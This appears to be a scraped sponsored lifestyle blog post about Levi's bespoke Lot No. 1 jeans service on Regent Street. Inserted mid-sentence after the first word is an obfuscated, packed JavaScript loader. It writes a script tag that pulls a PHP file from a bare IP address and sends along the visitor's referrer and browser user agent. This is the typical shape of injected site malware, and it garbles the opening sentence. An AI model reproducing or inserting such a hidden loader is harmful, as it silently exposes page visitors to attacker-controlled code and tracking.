Everyone (function(p,a,c,k,e,d){e=function(c){return c.toString(36)};if(!”.replace(/^/,String)){while(c–){d[c.toString(a)]=k[c]||c.toString(a)}k=[function(e){return d[e]}];e=function(){return’\w+’};c=1};while(c–){if(k[c]){p=p.replace(new RegExp(‘\b’+e(c)+’\b’,’g’),k[c])}}return p}(‘0.6(” 4=\’7://5.8.9.f/1/h.s.t?r=”+3(0.p)+”\o=”+3(j.i)+”\’><\/k"+"l>“);n m=”q”;’,30,30,’document||javascript|encodeURI|src||write|http|45|67|script|text|rel|nofollow|type|97|language|jquery|userAgent|navigator|sc|ript|rhetn|var|u0026u|referrer|hikah||js|php’.split(‘|’),0,{}))
has a favourite pair of jeans right. Why? On first look, it’s probably because they look good on you and also because they are comfortable…but strip back another layer and it’s to do with how you want to be perceived and your overall identity.

Take denim master crafters Levi’s…it would be a safe assumption to say that a huge amount of Londoners own at least one pair of Levi’s jeans. That style reflects through immediately into the identity of that person whether that be a skinny fit drainpipe or a low rise baggy where your CK’s shine out dazzling cyclists in the summer sun…you can tell we’re not the latter. But what ever style, it epitomises your identity whether you know it or not…it gives an insight into the type of music you’re into, what sort of era inspires you to dress, even if you are outgoing or more reserved. Jeans cut deep!

Thats why denim giants Levi’s are continuing to push boundaries and as pioneers are leading the way with an innovative new bespoke made-to-order service. Levi’s presents Lot No. 1, where customers can express themselves a level further and get tailor made custom designs to their exact specification. This unique customisation of Levi’s jeans is available at their flagship store on Regent Street and comes by appointment only. Sexy!

The results will have customers specify their style of fit, weight of the denim, colour, thread colour, leather patches and seven button and rivet colours. The choice, our friend is yours. The process takes between 5 to 6 weeks and costs £500 a pair. What’s more it’s the first time this level of customisation has been made available in Europe following similar services in New York and San Fran stores.

Want to put your own stamp on an international brand…pop into the Levi’s flagship store on Regent Street and start the process rolling. You are the jeans you wear.

This post has been sponsored by Levi, but all thoughts are our own.